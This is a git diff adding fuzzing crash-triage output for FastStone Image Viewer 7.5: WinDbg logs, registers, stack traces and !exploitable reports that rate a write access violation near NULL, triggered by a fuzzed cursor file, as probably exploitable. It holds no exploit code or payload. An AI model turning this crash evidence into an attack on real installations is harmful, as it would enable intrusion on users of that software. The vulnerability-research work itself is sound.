ds:002b:00000002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfcb +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 08038130 07fb5930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 00289000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 00289000 df34ef04 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62c3 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 00289000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x2 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:WRITE +MAJOR_HASH:0x67613208 +MINOR_HASH:0x05751964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfcb +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfcb +INVOKING_STACK_FRAME:0 +DESCRIPTION:User Mode Write AV near NULL +SHORT_DESCRIPTION:WriteAV +CLASSIFICATION:PROBABLY_EXPLOITABLE +BUG_TITLE:Probably Exploitable - User Mode Write AV near NULL starting at image00000000_00400000+0x00000000001bdfcb (Hash=0x67613208.0x05751964) +EXPLANATION:User mode write access violations that are near NULL are probably exploitable. \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/16416/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/16416/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..d058f4e Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/16416/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/16566/Initial/SystemDebugger_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/16566/Initial/SystemDebugger_description.txt new file mode 100644 index 0000000..9258160 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/16566/Initial/SystemDebugger_description.txt @@ -0,0 +1,2 @@ +First Chance Exception: 0xc0000005 +Access Violation Writing To 0x0000000000000002 \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/16566/Initial/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/16566/Initial/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..69ca0dd Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/16566/Initial/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/16566/WindowsDebugEngine_StackTrace.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/16566/WindowsDebugEngine_StackTrace.txt new file mode 100644 index 0000000..bb2d484 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/16566/WindowsDebugEngine_StackTrace.txt @@ -0,0 +1,173 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0xF30: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0xF30: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74a00000 00000000`74a28000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a30000 00000000`74bca000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`749c0000 00000000`749dd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743b0000 00000000`749b4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(f30.188c): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=0019f4b6 ebx=40000000 ecx=07f87b19 edx=00000000 esi=00000000 edi=0f6bcfd4 +eip=005bdfcb esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz ac pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210216 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.772009299217368160000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 2.539999999999999999970e+0000 st7= 8.506110000000000000000e+0005 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=7.21161e+008 6.19592e-024 0.00159736 -6.03042e-035 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfcb +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 08068130 07fe5930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 0032d000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 0032d000 52e4ca0e 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d6292 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 0032d000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x2 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:WRITE +MAJOR_HASH:0x67613208 +MINOR_HASH:0x05751964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfcb +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfcb +INVOKING_STACK_FRAME:0 +DESCRIPTION:User Mode Write AV near NULL +SHORT_DESCRIPTION:WriteAV +CLASSIFICATION:PROBABLY_EXPLOITABLE +BUG_TITLE:Probably Exploitable - User Mode Write AV near NULL starting at image00000000_00400000+0x00000000001bdfcb (Hash=0x67613208.0x05751964) +EXPLANATION:User mode write access violations that are near NULL are probably exploitable. \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/16566/WindowsDebugEngine_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/16566/WindowsDebugEngine_description.txt new file mode 100644 index 0000000..bb2d484 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/16566/WindowsDebugEngine_description.txt @@ -0,0 +1,173 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0xF30: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0xF30: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74a00000 00000000`74a28000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a30000 00000000`74bca000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`749c0000 00000000`749dd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743b0000 00000000`749b4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(f30.188c): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=0019f4b6 ebx=40000000 ecx=07f87b19 edx=00000000 esi=00000000 edi=0f6bcfd4 +eip=005bdfcb esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz ac pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210216 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.772009299217368160000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 2.539999999999999999970e+0000 st7= 8.506110000000000000000e+0005 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=7.21161e+008 6.19592e-024 0.00159736 -6.03042e-035 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfcb +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 08068130 07fe5930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 0032d000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 0032d000 52e4ca0e 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d6292 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 0032d000 